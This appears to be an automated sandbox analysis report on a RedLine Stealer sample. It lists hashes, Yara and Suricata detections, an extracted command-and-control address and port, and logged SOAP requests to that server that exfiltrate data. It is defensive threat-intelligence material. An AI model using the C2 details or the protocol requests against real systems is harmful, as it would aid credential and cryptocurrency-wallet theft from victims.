Edit tour

Windows Analysis Report
ep0X2wemcU.exe

Overview

General Information

Sample name:	ep0X2wemcU.exe renamed because original name is a hash value
Original sample name:	f0c6f971c7f14c03d37f035434567fb5.exe
Analysis ID:	1583029
MD5:	f0c6f971c7f14c03d37f035434567fb5
SHA1:	96f7e647d2885f8eb92cb8ad56396bfce9562118
SHA256:	21e4c68118505da33246b093c06fed75cc049c785db86ef79950fff50c206f59
Tags:	exeRedLineStealeruser-abuse_ch
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected RedLine Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

ep0X2wemcU.exe (PID: 1960 cmdline: "C:\Users\user\Desktop\ep0X2wemcU.exe" MD5: F0C6F971C7F14C03D37F035434567FB5)

conhost.exe (PID: 2272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["154.91.34.250:14555"], "Bot Id": "cheat"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ep0X2wemcU.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
ep0X2wemcU.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
ep0X2wemcU.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
ep0X2wemcU.exe	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x119cb:$gen01: ChromeGetRoamingName 0x119ff:$gen02: ChromeGetLocalName 0x11a28:$gen03: get_UserDomainName 0x13c67:$gen04: get_encrypted_key 0x131e3:$gen05: browserPaths 0x1352b:$gen06: GetBrowsers 0x12e61:$gen07: get_InstalledInputLanguages 0x1064f:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x8738:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x9118:$spe6: windows-1251, CommandLine: 0x143bd:$spe9: wallet 0xee0c:$typ01: 359A00EF6C789FD4C18644F56C5D3F97453FFF20 0xef07:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0xf264:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0xf371:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0xf4f0:$typ05: 4E3D7F188A5F5102BEC5B820632BBAEC26839E63 0xee98:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0xeec1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0xf05f:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0xf39a:$typ12: EB7EF1973CDC295B7B08FE6D82B9ECDAD1106AF2 0xf439:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
ep0X2wemcU.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ea:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cb:$v2_6: GetUpdates

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x119cb:$gen01: ChromeGetRoamingName 0x119ff:$gen02: ChromeGetLocalName 0x11a28:$gen03: get_UserDomainName 0x13c67:$gen04: get_encrypted_key 0x131e3:$gen05: browserPaths 0x1352b:$gen06: GetBrowsers 0x12e61:$gen07: get_InstalledInputLanguages 0x1064f:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x8738:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x9118:$spe6: windows-1251, CommandLine: 0x143bd:$spe9: wallet 0xee0c:$typ01: 359A00EF6C789FD4C18644F56C5D3F97453FFF20 0xef07:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0xf264:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0xf371:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0xf4f0:$typ05: 4E3D7F188A5F5102BEC5B820632BBAEC26839E63 0xee98:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0xeec1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0xf05f:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0xf39a:$typ12: EB7EF1973CDC295B7B08FE6D82B9ECDAD1106AF2 0xf439:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ea:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cb:$v2_6: GetUpdates

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2197772354.0000000002460000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.2023663761.0000000000062000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.2023663761.0000000000062000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.2023663761.0000000000062000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
00000000.00000002.2198762825.000000000367A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2198762825.000000000367A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.2198762825.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x13892:$a4: get_ScannedWallets 0x126f0:$a5: get_ScanTelegram 0x13516:$a6: get_ScanGeckoBrowsersPaths 0x11332:$a7: <Processes>k__BackingField 0xf244:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x10c66:$a9: <ScanFTP>k__BackingField
Process Memory Space: ep0X2wemcU.exe PID: 1960	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ep0X2wemcU.exe PID: 1960	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: ep0X2wemcU.exe PID: 1960	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x27ecab:$a4: get_ScannedWallets 0x3016eb:$a4: get_ScannedWallets 0x27db52:$a5: get_ScanTelegram 0x300592:$a5: get_ScanTelegram 0x27e934:$a6: get_ScanGeckoBrowsersPaths 0x301374:$a6: get_ScanGeckoBrowsersPaths 0x27c7e5:$a7: <Processes>k__BackingField 0x2ff225:$a7: <Processes>k__BackingField 0x279d18:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x2fc758:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x27c119:$a9: <ScanFTP>k__BackingField 0x2feb59:$a9: <ScanFTP>k__BackingField
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.ep0X2wemcU.exe.60000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.ep0X2wemcU.exe.60000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.ep0X2wemcU.exe.60000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
0.0.ep0X2wemcU.exe.60000.0.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x119cb:$gen01: ChromeGetRoamingName 0x119ff:$gen02: ChromeGetLocalName 0x11a28:$gen03: get_UserDomainName 0x13c67:$gen04: get_encrypted_key 0x131e3:$gen05: browserPaths 0x1352b:$gen06: GetBrowsers 0x12e61:$gen07: get_InstalledInputLanguages 0x1064f:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x8738:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x9118:$spe6: windows-1251, CommandLine: 0x143bd:$spe9: wallet 0xee0c:$typ01: 359A00EF6C789FD4C18644F56C5D3F97453FFF20 0xef07:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0xf264:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0xf371:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0xf4f0:$typ05: 4E3D7F188A5F5102BEC5B820632BBAEC26839E63 0xee98:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0xeec1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0xf05f:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0xf39a:$typ12: EB7EF1973CDC295B7B08FE6D82B9ECDAD1106AF2 0xf439:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
0.0.ep0X2wemcU.exe.60000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ea:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cb:$v2_6: GetUpdates
0.2.ep0X2wemcU.exe.367a2c8.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.ep0X2wemcU.exe.367a2c8.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.ep0X2wemcU.exe.367a2c8.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
0.2.ep0X2wemcU.exe.367a2c8.0.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0xfbcb:$gen01: ChromeGetRoamingName 0xfbff:$gen02: ChromeGetLocalName 0xfc28:$gen03: get_UserDomainName 0x11e67:$gen04: get_encrypted_key 0x113e3:$gen05: browserPaths 0x1172b:$gen06: GetBrowsers 0x11061:$gen07: get_InstalledInputLanguages 0xe84f:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x6938:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x7318:$spe6: windows-1251, CommandLine: 0x125bd:$spe9: wallet 0xd00c:$typ01: 359A00EF6C789FD4C18644F56C5D3F97453FFF20 0xd107:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0xd464:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0xd571:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0xd6f0:$typ05: 4E3D7F188A5F5102BEC5B820632BBAEC26839E63 0xd098:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0xd0c1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0xd25f:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0xd59a:$typ12: EB7EF1973CDC295B7B08FE6D82B9ECDAD1106AF2 0xd639:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
0.2.ep0X2wemcU.exe.367a2c8.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ea:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cb:$v2_6: GetUpdates
0.2.ep0X2wemcU.exe.367a2c8.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.ep0X2wemcU.exe.367a2c8.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.ep0X2wemcU.exe.367a2c8.0.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
0.2.ep0X2wemcU.exe.367a2c8.0.raw.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x119cb:$gen01: ChromeGetRoamingName 0x119ff:$gen02: ChromeGetLocalName 0x11a28:$gen03: get_UserDomainName 0x13c67:$gen04: get_encrypted_key 0x131e3:$gen05: browserPaths 0x1352b:$gen06: GetBrowsers 0x12e61:$gen07: get_InstalledInputLanguages 0x1064f:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x8738:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x9118:$spe6: windows-1251, CommandLine: 0x143bd:$spe9: wallet 0xee0c:$typ01: 359A00EF6C789FD4C18644F56C5D3F97453FFF20 0xef07:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0xf264:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0xf371:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0xf4f0:$typ05: 4E3D7F188A5F5102BEC5B820632BBAEC26839E63 0xee98:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0xeec1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0xf05f:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0xf39a:$typ12: EB7EF1973CDC295B7B08FE6D82B9ECDAD1106AF2 0xf439:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
0.2.ep0X2wemcU.exe.367a2c8.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ea:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cb:$v2_6: GetUpdates
Click to see the 10 entries

Suricata Signatures

ET MALWARE RedLine Stealer - CheckConnect Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:02:05.098875+0100	2045000	1	Malware Command and Control Activity Detected	154.91.34.250	14555	192.168.2.5	49704	TCP

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:02:08.222096+0100	2045001	1	Malware Command and Control Activity Detected	154.91.34.250	14555	192.168.2.5	49704	TCP

ETPRO MALWARE RedLine - CheckConnect Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:02:00.056874+0100	2849662	1	Malware Command and Control Activity Detected	192.168.2.5	49704	154.91.34.250	14555	TCP

ETPRO MALWARE RedLine - EnvironmentSettings Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:02:05.306910+0100	2849351	1	Malware Command and Control Activity Detected	192.168.2.5	49704	154.91.34.250	14555	TCP

ETPRO MALWARE RedLine - GetUpdates Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:02:11.786618+0100	2848200	1	Malware Command and Control Activity Detected	192.168.2.5	49707	154.91.34.250	14555	TCP

ETPRO MALWARE RedLine - SetEnvironment Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:02:08.626568+0100	2849352	1	Malware Command and Control Activity Detected	192.168.2.5	49706	154.91.34.250	14555	TCP

Joe Security MALWARE RedLine - Initial C&C Contact - SOAP CheckConnect

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:02:00.056874+0100	1800000	1	Malware Command and Control Activity Detected	192.168.2.5	49704	154.91.34.250	14555	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ep0X2wemcU.exe

Avira: detected

Found malware configuration

Source: ep0X2wemcU.exe

Malware Configuration Extractor: RedLine {"C2 url": ["154.91.34.250:14555"], "Bot Id": "cheat"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp

ReversingLabs: Detection: 89%

Multi AV Scanner detection for submitted file

Source: ep0X2wemcU.exe	Virustotal: Detection: 81%			Perma Link
Source: ep0X2wemcU.exe	ReversingLabs: Detection: 89%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: ep0X2wemcU.exe

Joe Sandbox ML: detected

Source: ep0X2wemcU.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ep0X2wemcU.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1800000 - Severity 1 - Joe Security MALWARE RedLine - Initial C&C Contact - SOAP CheckConnect : 192.168.2.5:49704 -> 154.91.34.250:14555
Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:49704 -> 154.91.34.250:14555
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.5:49706 -> 154.91.34.250:14555
Source: Network traffic	Suricata IDS: 2848200 - Severity 1 - ETPRO MALWARE RedLine - GetUpdates Request : 192.168.2.5:49707 -> 154.91.34.250:14555
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 154.91.34.250:14555 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.5:49704 -> 154.91.34.250:14555
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 154.91.34.250:14555 -> 192.168.2.5:49704

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 154.91.34.250:14555

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 14555
Source: unknown	Network traffic detected: HTTP traffic on port 14555 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 14555
Source: unknown	Network traffic detected: HTTP traffic on port 14555 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 14555 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 14555
Source: unknown	Network traffic detected: HTTP traffic on port 14555 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 14555
Source: unknown	Network traffic detected: HTTP traffic on port 14555 -> 49707

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 154.91.34.250:14555

Source: global traffic

TCP traffic: 192.168.2.5:58002 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.91.34.250:14555Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 154.91.34.250:14555Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 154.91.34.250:14555Content-Length: 1171198Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 154.91.34.250:14555Content-Length: 1171190Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK

Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
